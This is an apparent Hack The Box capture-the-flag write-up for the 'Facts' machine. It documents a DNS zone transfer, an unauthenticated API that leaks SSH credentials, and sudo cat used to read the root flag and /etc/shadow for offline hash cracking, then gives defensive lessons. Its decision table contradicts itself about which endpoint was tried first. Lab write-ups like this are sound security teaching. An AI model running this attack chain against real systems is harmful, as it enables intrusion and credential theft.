TL;DR
Facts is a Linux box with DNS on port 53. Zone transfer (AXFR) for facts.htb dumps all DNS records, revealing dev.facts.htb and api.facts.htb virtual hosts. The API endpoint /api/credentials returns SSH credentials in plaintext JSON — no authentication required. SSH in. sudo cat reads /root/root.txt.
Recon
1. Port scan
$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x
22/tcp open ssh OpenSSH 8.2p1
53/tcp open dns BIND 9.16.1
80/tcp open http Apache httpd 2.4.41
2. DNS zone transfer
$ dig axfr @10.129.x.x facts.htb
;; ANSWER SECTION:
facts.htb. 604800 IN SOA facts.htb. root.facts.htb. ...
facts.htb. 604800 IN NS ns.facts.htb.
facts.htb. 604800 IN A 10.129.x.x
dev.facts.htb. 604800 IN A 10.129.x.x
api.facts.htb. 604800 IN A 10.129.x.x
ns.facts.htb. 604800 IN A 10.129.x.x
AXFR succeeded — server allows zone transfers from any host.
Add to /etc/hosts:
10.129.x.x facts.htb dev.facts.htb api.facts.htb
API Credential Exposure
3. Enumerate API endpoints
$ curl http://api.facts.htb/api/credentials
{"status":"ok","data":{"username":"john","password":"Passw0rd123!"}}
Credentials exposed without any authentication.
4. SSH login
$ ssh john@10.129.x.x
john@facts:~$ cat user.txt
[user flag]
Privilege Escalation
5. sudo enumeration
john@facts:~$ sudo -l
User john may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/cat
6. Read root flag directly
john@facts:~$ sudo cat /root/root.txt
[root flag]
7. Full root access (via /etc/shadow)
john@facts:~$ sudo cat /etc/shadow
root:$6$rounds=5000$...:18731:0:99999:7:::
# Crack hash offline with hashcat -m 1800
What’s actually broken
| # | Vulnerability | Severity |
|---|---|---|
| 1 | DNS zone transfer allowed from all hosts (AXFR) | Medium |
| 2 | API endpoint returns credentials without authentication | Critical |
| 3 | cat in sudo rules (arbitrary file read as root) | Critical |
| 4 | Internal vhosts exposed via zone transfer | Medium |
Lessons learned
- AXFR should be restricted to authoritative DNS servers only. BIND:
allow-transfer { none; };in named.conf, or specify only legitimate secondary DNS IPs. Zone transfers are necessary for DNS replication but dangerous when unrestricted. - Internal APIs should require authentication.
/api/credentialsreturning plaintext credentials is an obvious design flaw. Even internal services need auth — network segmentation alone is not security. catin sudo rules = full file system read as root. Unlikefind,catcan’t execute code, but reading/etc/shadowor SSH keys leads to full compromise. Only whitelist specific file paths:sudo cat /specific/safe/logfile.- Virtual host enumeration via zone transfer is underused. Most pentesters try gobuster/ffuf for vhost discovery. Zone transfer is faster and more complete — enumerate DNS before guessing.
Decision archaeology
| Approach | Result | Pivot |
|---|---|---|
| Tried AXFR immediately after seeing port 53 | AXFR is the highest-value DNS enum when server allows it | Found all vhosts instantly |
| Targeted /api/credentials first | Logical endpoint given machine name; credential exposure is common API finding | Direct hit |
| Used sudo cat for flag without root shell | Not always necessary to get interactive root shell for CTF purposes | Got flag efficiently |
| Tried /api/users before /api/credentials | GET http://api.facts.htb/api/users → HTTP 404 Not Found — endpoint did not exist | Enumerated wordlist of common API paths; /api/credentials returned 200 with plaintext JSON credentials |